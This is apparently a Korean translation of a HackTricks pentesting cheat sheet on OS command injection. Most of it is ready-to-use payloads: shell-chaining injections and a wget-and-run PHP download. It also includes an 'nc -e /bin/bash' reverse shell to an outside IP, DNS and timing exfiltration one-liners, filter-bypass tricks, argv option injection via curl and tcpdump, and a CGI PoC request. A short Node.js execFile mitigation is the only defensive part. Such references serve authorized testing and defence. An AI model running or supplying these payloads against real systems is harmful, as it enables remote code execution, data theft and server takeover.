Command Injection

Reading time: 6 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

command Injection이란 무엇인가?

A command injection은 애플리케이션을 호스팅하는 서버에서 공격자가 임의의 운영 체제 명령을 실행할 수 있도록 허용한다. 그 결과 애플리케이션과 그 안의 모든 데이터가 완전히 침해될 수 있다. 이러한 명령의 실행은 일반적으로 공격자가 애플리케이션의 환경 및 기반 시스템에 대한 무단 접근 또는 제어를 획득하게 한다.

문맥

입력이 삽입되는 위치에 따라 입력이 삽입되는 위치(where your input is being injected), 명령을 실행하기 전에 인용된 문맥을 종료해야(terminate the quoted context) 할 수 있다(" 또는 ' 사용).

Command Injection/Execution

bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

Limition 우회

만약 linux 머신 내부에서 임의의 명령을 실행하려고 한다면, 이 **우회:**에 대해 읽어보면 도움이 될 것입니다.

Bypass Linux Restrictions

예시

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

매개변수

다음은 code injection 및 유사한 RCE 취약점에 취약할 수 있는 상위 25개 매개변수입니다 (출처: link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Time based data exfiltration

데이터 추출: 문자 하나씩

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS 기반 data exfiltration

다음 도구를 기반으로 함: https://github.com/HoLyVieR/dnsbin 또한 dnsbin.zhack.ca에 호스팅됨

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

DNS 기반 data exfiltration을 확인할 수 있는 온라인 도구:

  • dnsbin.zhack.ca
  • pingb.in

Filtering bypass

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Node.js child_process.exec vs execFile

JavaScript/TypeScript 백엔드를 감사할 때 Node.js child_process API를 자주 마주칩니다.

javascript
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});

exec()shell (/bin/sh -c)을 실행하므로, shell에 특별한 의미를 갖는 모든 문자(back-ticks, ;, &&, |, $(), …)는 사용자 입력이 문자열에 연결될 때 command injection을 발생시킵니다.

완화: execFile()를 사용하거나 (shell 옵션 없이 spawn()을 사용) 각 인수를 별도의 배열 요소로 제공하여 shell이 개입하지 않도록 하세요:

javascript
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);

실제 사례: Synology Photos ≤ 1.7.0-0794는 인증되지 않은 WebSocket 이벤트를 통해 공격자가 제어하는 데이터를 id_user에 삽입할 수 있었고, 이 값이 이후 exec() 호출에 임베드되어 RCE를 달성할 수 있었습니다 (Pwn2Own Ireland 2024).

Argument/Option injection via leading hyphen (argv, no shell metacharacters)

모든 주입이 쉘 메타문자를 필요로 하는 것은 아닙니다. 애플리케이션이 신뢰할 수 없는 문자열을 시스템 유틸리티의 인수로 전달할 때(심지어 execve/execFile로 쉘을 거치지 않더라도) 많은 프로그램이 - 또는 --로 시작하는 인수를 옵션으로 파싱합니다. 이를 통해 공격자는 쉘을 깨뜨리지 않고도 모드를 전환하거나 출력 경로를 변경하거나 위험한 동작을 유발할 수 있습니다.

일반적으로 이러한 문제가 나타나는 곳:

  • 임베디드 웹 UI/CGI 핸들러가 ping <user>, tcpdump -i <iface> -w <file>, curl <url> 등과 같은 명령을 구성하는 경우
  • 중앙화된 CGI 라우터(예: selector 파라미터로 topicurl=<handler>를 사용하는 /cgi-bin/<something>.cgi)에서 여러 핸들러가 동일한 취약한 유효성 검사기를 재사용하는 경우

시도해볼 것:

  • 하위 도구가 플래그로 해석하도록 -/--로 시작하는 값을 제공해보세요.
  • 동작을 변경하거나 파일을 쓰는 플래그를 악용해보세요. 예:
    • ping: -f/-c 100000 — 장치에 부하를 줘서 DoS 유발
    • curl: -o /tmp/x — 임의 경로에 기록, -K <url> — 공격자 제어 config 로드
    • tcpdump: -G 1 -W 1 -z /path/script.sh — post-rotate 실행을 통해 unsafe wrapper에서 코드 실행 달성
  • 프로그램이 -- end-of-options를 지원한다면, 잘못된 위치에 --를 붙이는 단순한 완화책을 우회할 수 있는지 시도해보세요.

중앙화된 CGI 디스패처에 대한 일반적인 PoC 형태:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n

# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

Brute-Force 탐지 목록

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt

참고자료

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기